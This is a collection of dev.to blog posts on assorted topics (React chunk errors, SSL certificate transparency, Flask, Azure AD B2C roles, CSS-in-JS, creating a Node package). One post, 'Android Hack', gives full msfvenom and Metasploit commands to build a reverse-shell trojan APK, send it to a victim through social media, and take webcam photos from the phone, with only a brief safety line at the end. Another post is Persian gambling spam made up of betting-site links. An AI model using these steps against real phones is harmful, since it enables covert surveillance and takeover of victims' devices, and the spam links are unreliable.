teleren/devto huggingface dataset:
REACT 16.9: HOW TO FIX Uncaught SyntaxError: Unexpected token '<'
Published: 2020-02-14 12:32:29

Uncaught SyntaxError: Unexpected token '<'
52.8a93aab7.chunk.js:2 ChunkLoadError: Loading chunk 49 failed.
(missing: /static/js/viwes-finance.bbe2f0c4.chunk.js)
    at Function.d.e (/app/practice/flows:1:6341)
    at /static/js/views-app.8fc3a9f0.chunk.js:1:20446
    at /static/js/52.8a93aab7.chunk.js:2:688698
    at xu (/static/js/52.8a93aab7.chunk.js:2:688847)
    at vs (/static/js/52.8a93aab7.chunk.js:2:673678)
    at ps (/static/js/52.8a93aab7.chunk.js:2:673603)
    at is (/static/js/52.8a93aab7.chunk.js:2:670931)
    at /static/js/52.8a93aab7.chunk.js:2:629114
    at t.unstable_runWithPriority (/static/js/52.8a93aab7.chunk.js:2:704062)
    at Vo (/static/js/52.8a93aab7.chunk.js:2:628823)
    at Qo (/static/js/52.8a93aab7.chunk.js:2:629059)
    at Go (/static/js/52.8a93aab7.chunk.js:2:628994)
    at ue (/static/js/52.8a93aab7.chunk.js:2:698208)
    at jn (/static/js/52.8a93aab7.chunk.js:2:612620)
    at HTMLDocument.o (/static/js/52.8a93aab7.chunk.js:2:410437)
    at HTMLDocument.r (/static/js/52.8a93aab7.chunk.js:2:902155)
(anonymous) @ 52.8a93aab7.chunk.js:2
52.8a93aab7.chunk.js:2 Uncaught ChunkLoadError: Loading chunk 49 failed.
Fix NET: ERR_CERTIFICATE_TRANSPARENCY_REQUIRED Error
Tags: sslerrors, security, sslcertificate
Published: 2020-02-14 12:09:28

<h2>What is Certificate Transparency Required Error?</h2>

It is one of the SSL errors which occurs when a user is trying to visit a secure website that is having SSL certificate errors and which creates the problem of connection between a user device and the remote server.

<b>The main reason for “Certificate Transparency Required Error” are as followed:</b>

- The Certificate Authority hasn’t entered the website’s SSL Certificate to the 
Certificate Transparency log which may lead to fraud or negligence on the part of the Certificate Authority (CA’s).

- The owner of the website itself has notified the Certificate Authority not to enter the domain or any sub-domains to transparency log in order to keep certificate information private.

<h3>Certificate Transparency (CT) Implementation</h3>

In March 2013, Google officially launched the first certificate transparency log. After a few months, Digi Cert became the first Certificate Authority (CA) to implement Certificate Transparency. Thereafter it was made compulsory to log the details of the issued SSL certificate in a CT log.

Certificate Transparency (CT) is an internet security standard that mandates the practice of maintaining public logs of all the digital certificates that are issued by trusted certificate authorities (CAs).

<h2>Steps for how to Fix ERR_CERTIFICATE_TRANSPARENCY_REQUIRED Error</h2>

<h3>Solution for Website Owner</h3>

This is the only way through which this error can be resolved. The website owner needs to contact the Certificate Authority (CA) and inform about this issue. Tell them to add the website’s SSL Certificate to the CT log.

Also check with the CA’s, regarding if there are any technical errors on CA’s behalf. If so, then reissue the SSL Certificate and reinstall it on your website. I know sometimes install an SSL certificate is altogether a new challenge. There is an option to go for the Free <a href="https://www.ssl.support/ssl-installation-on-c-panel">SSL Installation on C-Panel</a> and install the certificate without any hassle.

If you still don’t get any proper response from your Certificate Authority (CA), then it is recommended to change your exiting CA with the reputed one like Digi Cert, Rapid SSL, Sectigo (Formerly Comodo), Geo Trust, etc.

Learn more on how to <a href="https://hackernoon.com/know-how-to-fix-net-err_certificate_transparency_required-error-2fqy362t">Fix Certificate Transparency Error</a> on Website Browser.
Github CLI - All in one tool
Tags: github, commandlineinterface, developer, productivity
Published: 2020-02-14 12:03:13

For all those who use the Command-line interface on a day in day out basis, [Github](https://github.com/) has come up with a [CLI](http://cli.github.com/) of their own to make pull requests and keeping track of all the issues.

I have been using it for the past week or so and I must admit that this tool is really cool in terms of usage. You may not want to switch to a browser to raise a pull request separately.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/c9j81mg4mspjkc9n3fu0.PNG)

**It is available for Windows, macOS, and Linux and the most importantly an open-source tool. As they say, this tool takes care of pull requests, issues and most of the GitHub concepts.**

*Go ahead and try yourself out.*

*Happy learning and stay fit and healthy*
Android Hack
Tags: android, security
Published: 2020-02-14 11:55:57

We are all aware of how android has influenced the world. As it became a revolution, along with its pros it also comes with cons. In this post, I will be demonstrating how malicious hackers exploit the android phone and control the device with their system. So, let's start.

Prerequisite:
    1. msfvenom
    2. Metasploit 
    
Fire up your terminal and just follow these steps to control your victim's android phone.

#STEP 1. Create a payload using msfvenom:

        
```$ msfvenom -p android/meterpreter/reverse_tcp LHOST=[YOUR PRIVATE IP] LPORT=[YOUR PORT] R > /Desktop/trojan.apk```
   -p     : payload
    LHOST : IP address of your own PC
    LPORT : Any port > 1024

I got you..! But how to get my IP address ? Yes wait!!!!

```$ ifconfig | grep -w inet | awk '{print $2}'
                         OR
   $ /sbin/ifconfig | grep -w inet | awk '{print $2}'```

After creating payload you will get a file called **trojan.apk** in /Desktop path. Send this file to the victim using any social media and let them to install it.

#STEP 2. Open metasploit and hack

To start metasploit use this command

``` msfconsole ```

When you get metasploit shell follow these commands.

```$ use exploit/multi/handler
    $ set payload android/meterpreter/reverse_tcp
    $ set LHOST <YOUR IP USED in the previous command>
    $ set LPORT <PORT Specified in the previous command>
    $ show options```

*remove <> while executing the above commands.

Your are just 1 step away from gaining access to your victim's phone.

``` $ exploit ```

Once the victim installs the trojan.apk in his phone you will get a reverse shell (ie., meterpreter shell. It is as good as you are getting accessing to all the files on victim's cellphone.)

Once you get meterpreter, you can do all sort of things.

####webcam_list
- The **webcam_list** command shows a list of webcams you could use for the webcam_snap command. Example:

  ```meterpreter > webcam_list
      1: Back Camera
      2: Front Camera```

####webcam_snap
- The webcam_snap command takes a picture from the device. You will have to use the webcam_list command to figure out which camera to use. Example:

```meterpreter > webcam_snap -i 2
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /Users/user/rapid7/msf/uFWJXeQt.jpeg```


Finally, you have access to your victim's cell phone. This post's main idea was to explain how malware would be injected into android cell phone without knowledge of the user and being monitored by malicious people. So, the final words of this post is that do not install unknown apps to your cell phones, Be safe! cheers!
Using custom claims for Azure AD B2C roles
Tags: azure, dotnet, csharp, blazor
Published: 2020-02-14 11:49:24

As we already know, currently Azure AD B2C does not support roles out-of-the-box. But I think there is a fairly easy way to workaround this limitation by using a custom claim for this requirement.

First, add a custom claim in Azure AD B2C portal - name it "Role". Remember to check this claim in your SignIn/SignUp user workflow so that it will be put into the authentication token.

Then you can add a custom authorization Policy in your .NET Core project:

```cs
services.AddAuthorization(options =>
{
      options.AddPolicy("Admin", policy =>
         policy.RequireClaim("extension_Role", "Admin"));
});
```

Afterwards you're able to use this in your controller or Page (I'm using Blazor).

```cs
[Authorize(Policy = "Admin")]
```

And voilà - that's it!
Negotiating For UI Optimization
Tags: javascript, beginners, webdev, css
Published: 2020-02-14 11:46:21

Speaking about small teams/companies, we hit this stage where we might be discussing with a product manager or a back-end experienced team lead about targets on front end performance optimization. And it is not a week/month's task to improve UI performance. It is a consistent effort and it also needs a parallel work of re-structuring the existing code. It's not that straight forward to negotiate on this with the team.

These are the ways to communicate in a quite successful way.

* __Explain that JavaScript engine runs only single thread__ --
    Most of the back-end team leads or managers don't think about it as they usually run multiple threads whenever needed in back-end servers. And in JavaScript the usage of Web-workers is not that common.
* __DOM engine and JavaScript engine don't run in parallel__ -- unless specified. Though many frameworks might be handling this internally, there is a need to revisit and see wherever we can induce async tasks between these engines.
* __It's end-user device and performance__ -- unlike back-end code where the number of servers can be increased for a drop in performance, UI code has this limitation to run in each and every device with the minimal resources available. So there is a huge more work in here.

Saying these, it doesn't mean there is small performance work that needs to be done in back-end. There should be a lot. But the front end performance optimization is a lot different than that of back-end. And to communicate the same holds a higher importance. 

Once the team understands this, we can get resources to work on it and there on it helps in breaking down into tasks, learning about the performance, creating reports, A-B testing and a lot more similar plans. Otherwise, the team as a whole will always have a complain on the performance glitch. The performance neither gets addressed nor be ignored. This communication is a step to get rid of that situation.

*Thanks for your time in reading this. Humbled! Please say a word in comments if anything needs to be considered or corrected.*
Heroku & Github (private) packages - Just Work™
Tags: heroku, github, npm
Published: 2020-02-14 11:38:59

[Cut to the chase](#code)

Like many developers out there, we work on side projects from time to time.  Sometimes it's to learn, to have fun or to make money.  Regardless of the reason, we often throw in the towel due to burnout, loss of interest or that frustrating service/tool that should *just work*™ but doesn't.

I recently murmured "Why isn't this just working as stated!" while attempting to get Heroku to install my private Github packages.  I headed to my trusty ol' friend, Google, to scour the internet for an answer only to be repeatedly told that I need to 'commit an .npmrc file' with the registry URL (with auth token) and getting absolutely nowhere.

On the verge of giving up, I decided to head into the Github actions source code.  After all I was able to publish my package to my private Github registry in a CI environment.

Below is the code that dynamically creates the `.nmprc` file before the Heroku build (using the `heroku-prebuild` hook), using values from the environment variables.

### The good stuff <a name="code"></a>

1. Add the `auth-npm.js` script to your project (I add it to my `bin` directory)

    {% gist https://gist.github.com/Johan-dutoit/3601ea64a546a010925699ff5eab182d %}

2. Update `package.json`

    {%gist https://gist.github.com/Johan-dutoit/310a0d9364972cd8402c22c4814ec307 %}

Drop a comment below if you're running into trouble and/or if you have improvements!

Remember to \#KeepHavingFun
How to Beautify JSON Code?
Tags: howtobeautifyjson, howtobeautifyjsoncode, json
Published: 2020-02-14 11:13:57

Are you writing JSON Code? If yes then this article is helpful for you because in this article I will show you how to beautify ugly, minified JSON code.

Most of the People like good looking codes including me because if code is written in a proper manner it is easy to understand.

Today in this article I will introduce [JSON Formatter](https://goonlinetools.com/json-formatter/)

![json formatter](https://dev-to-uploads.s3.amazonaws.com/i/ufoww23xcnkkvhjkjyyu.png)

## Here is How to Beautify JSON Code?

1. First Open [JSON Formatter](https://goonlinetools.com/json-formatter/)
2. Click on Clear Button to Clear Demo Code
3. Paste Minified JSON Code
4. Click on Format Button
5. Now Press Copy Button to Copy Formatted JSON Code

Thanks for reading this article, If you have any questions regarding this then feel free to ask in the comment box.

More JSON tools:
- [JSON Minifier](https://goonlinetools.com/json-minifier/)
- [JSON editor](https://goonlinetools.com/json-editor/)

Also read : 

- [How to share code snippets easily](https://dev.to/goonlinetools/how-to-share-code-snippets-easily-2m46)
- [How to Beautify Javascript Code?](https://dev.to/goonlinetools/how-to-beautify-javascript-code-3ole)
- [How to Beautify PHP Code?](https://dev.to/goonlinetools/how-to-beautify-php-code-ahd)
How to Beautify Javascript Code?
Tags: howtobeautifyjavascriptcode, javascript
Published: 2020-02-14 11:05:24

Are you writing Javascript Code? If yes then this article is helpful for you because in this article I will show you how to beautify ugly, minified Javascript code.

Most of the People like good looking codes including me because if code is written in a proper manner it is easy to understand.

Today in this article I will introduce [Javascript Formatter](https://goonlinetools.com/js-formatter)

![javascript formatter](https://dev-to-uploads.s3.amazonaws.com/i/xwwi25pb1zrep7lobgxd.png)

## Here is How to Beautify Javascript Code?

1. First Open [Javascript Formatter](https://goonlinetools.com/js-formatter/)
2. Click on Clear Button to Clear Demo Code
3. Paste Minified Javascript Code
4. Click on Format Button
5. Now Press Copy Button to Copy Formatted Javascript Code

Thanks for reading this article, If you have any questions regarding this then feel free to ask in the comment box.
سایت انفجار
Published: 2020-02-14 11:03:44

http://pishbinifootball.website
http://footballbet.website
http://pishbinifootball.online

سایت شرط بندی 
سایت پیشبینی فوتبال
شرط بندی فوتبال 
پیشبینی فوتبال
—————————————-
http://www.bazi-enfejar.com/
http://www.bazienfejar.net/
بازی انفجار
سایت انفجار
Return variables with Flask
Tags: python, flask, beginners
Published: 2020-02-14 10:45:45

<a href="https://python.org">Python</a> can be used for web development, Flask is a Python web framework based on WSGI. Flask lets you build web apps with Python (<a href="https://pythonbasics.org/what-is-flask-python/">what is Flask</a>). 

You can use Flask to build single page apps, a blog, web apps and many more things. Some people use it to build a user interface on their <a href="https://raspberrypi.org/">Raspberry Pi</a>. 

Before playing with Flask, you should <a href="https://pythonbasics.org">learn Python</a>

## Return variables in Flask

There are different ways to return variables with Flask. Did you know you can use <a href="https://github.com/bluepaperbirds/f-Strings-examples">f-Strings</a> inside Flask?  This is one of the most simple ways.

If you want to return some variables for your request, you can do:

```python
return f'a is {a} and b is {b}'
```

So a full example of returning these two variables would be

```python
from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
    a = 62
    b = 41
    return f'a is {a} and b is {b}'

app.run(host='0.0.0.0', port=5000)
```

In the browser:

![flask variables](https://dev-to-uploads.s3.amazonaws.com/i/cmmm8tfdrcp7eynvoxi7.png)

Run the server and open the localhost url on your pc:

```
➜  ~ python3 example.py
 * Serving Flask app "example" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
```

**Related links:**
* <a href="https://palletsprojects.com/p/flask/">Flask web application framework</a>
* <a href="https://pythonbasics.org/flask-tutorial-hello-world/">Flask tutorial</a>
CSS in JS - have we done something wrong?
Tags: javascript, css, discuss, typescript
Published: 2020-02-14 10:21:38

Hello folks, its not standard for me article, as I prefer to not get into these kind of discussions, I know this topic is very hot, and opinions are very divided.

What I want to focus here is some workflow change we have because of the CSS in JS. I have lately worked with a project where some CSS in JS was in use, also there was TypeScript and React included. We had in the project person whose responsibility was the part of CSS/HTML, it was kinda - webmaster, I even don't know how to name such person in the current terms, for sure FE engineer focused on CSS/HTML, for sure good in it. To the point, he was struggling with CSS in JS, he was not able to work efficient, he needed to write functions, write TS types, pass props, do standard coding. He was great in CSS, he knew the staff, he was in different level there, no comparison with my skills in CSS land. But amount of calls, amount of trouble in writing his part was tremendous. It was not a great experience for any of us. And interesting is, as I supposed its not very original experience, I found at least few developers who had the same issues in different project, I assume its just common thing.

My background is quite old, as when I was doing my first web-apps, HTML was generated in the server, there was separation of concerns in terms of technologies, we had HTML/CSS/JS separated, there were disadvantages yes, there were issues in terms of possible overwriting not related parts of the view, as CSS can modify everything in its global scope. But... we could have people who were responsible for the view part, they didn't need to know if the app is in React, Angular, Vue or any other. They have seen the output, they had style sheets, they just could work fully individual. Now they can't, now all devs needs to do HTML/CSS/JS in one time, and sorry not only that, add to it React, Vue and any other super-trendy framework, and you say why not, they should? I say - do you know [CSS is turing complete](https://stackoverflow.com/questions/2497146/is-css-turing-complete) language, do you know it is complicated language and in order have expertise in it you need years of practice? And do you know TypeScript [type system is turing complete](https://github.com/Microsoft/TypeScript/issues/14833) on its own ? Do you require the same efficiency of all developers in all 3 or even 4 languages in the FE side?

There are many things which are hard in CSS/HTML land, this land is complicated by itself, no JS/TS included.

We lost something, we lost possibility to share the work for people with different experiences and focus in the FE. Why somebody cannot just style the page? Why?

What is your opinion here? Maybe you have different experience? Share your thoughts in the comments.
Cómo crear un paquete de Node
Tags: node, javascript, npm, tutorial
Published: 2020-02-14 10:02:24

Cuando vamos a crear un proyecto nuevo, nos pasamos una gran parte del tiempo copiando y pegando código de antiguos proyectos… ¿para que vamos a reinventar la rueda?

# El nacimiento de nuestra librería personal

Para empezar, creamos una carpeta con el nombre del paquete, yo lo llamaré *capua-package-sample*, y dentro ejecutamos el siguiente comando de npm para generar nuestro package.json:

```bash
$ npm init --yes
```

Este comando te creará un package.json básico extrayendo información de la carpeta donde se ejecuta.

Deberíamos de tener algo parecido a esto:

```json
{
  "name": "capua-package-sample",
  "version": "1.0.0",  
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "Ayoze Barrera",
  "license": "ISC"
}
```

## Fichero principal

Ahora que tenemos el package.json, necesitamos crear el fichero que se usará cuando se importe nuestro paquete. Este fichero se especifica en la propiedad main, y por defecto es **index.js**.

En este fichero, para nuestro ejemplo, exportaremos cualquier cosa, como por ejemplo una función sencilla:

```js
exports.myAwesomeFunction = function () {
  return 'b' + 'a' + + 'a' + 'a';
}
```

Esta función debería de devolver **«baNaNa»**.

Ahora solo faltaría subirlo a nuestro repositorio o *publicarlo* en npm!

## Instalando nuestro paquete

Si has publicado el paquete sabrás como instalarlo, pero si no lo has hecho, quizás no sepas… pues es muy fácil, solo tienes que ejecutar el siguiente comando:

```bash
$ npm install <git-service>:<git-user>/<repo-name>
```

Si no rellenamos el servicio, buscará en github por defecto, pero soporta muchos otros… para saber más mira la [documentación](https://docs.npmjs.com/cli/install) de npm install.

```bash
$ npm install -S github:capua/capua-package-sample
└── capua-package-sample@1.0.0  (git://github.com/capua/capua-package-sample.git#e5903fa2a1e4ee1e751a53fb0aa420cba07e949a)
```

Y ya solo tendríamos que importarlo:

```js
import { myAwesomeFunction } from 'capua-package-sample';

myAwesomeFunction(); // => "baNaNa"
```

Nos vemos en la próxima batalla!
The [12 + 3] Commandments of Software Engineering 👨‍💻
Tags: todayilearned, codequality, computerscience, adventofcode
Published: 2020-02-14 09:39:00

### What do the binary gods say to follow to reach the holy grail of software engineering? 🙏📿

First, the basic premise that the *objective of a software project is to decompose it into modules that can be implemented in parallel and by independent teams.*

Therefore we must follow the **SWEBOK** emerald board.

## Jeez wait my dear developer, What kind of magic is this SWEBOK? 🤔
Software Engineering Body of Knowledge, also known by the acronym [SWEBOK](https://www.computer.org/education/bodies-of-knowledge/software-engineering).

It is a document, organized by the **IEEE Computer Society** (an international scientific society), with the support of several researchers and industry professionals.

The purpose of **SWEBOK** is precisely to document the body of knowledge that characterizes the area that we now call Software Engineering.

**SWEBOK** defines **12 areas of knowledge** in Software Engineering:

1) Requirements Engineering
2) Software Design
3) Software Building
4) Software Testing
5) Software maintenance
6) ConfigurationManagement
7) Project Management
8) Software Processes
9) Software ModelsS
10) Softwarequality
11) Professional Practice
12) Economic Aspects

## Border areas 👁️‍🗨️
13) Fundamentals of Computing, 
14) Fundamentals of Mathematics 
15) Fundamentals of Engineering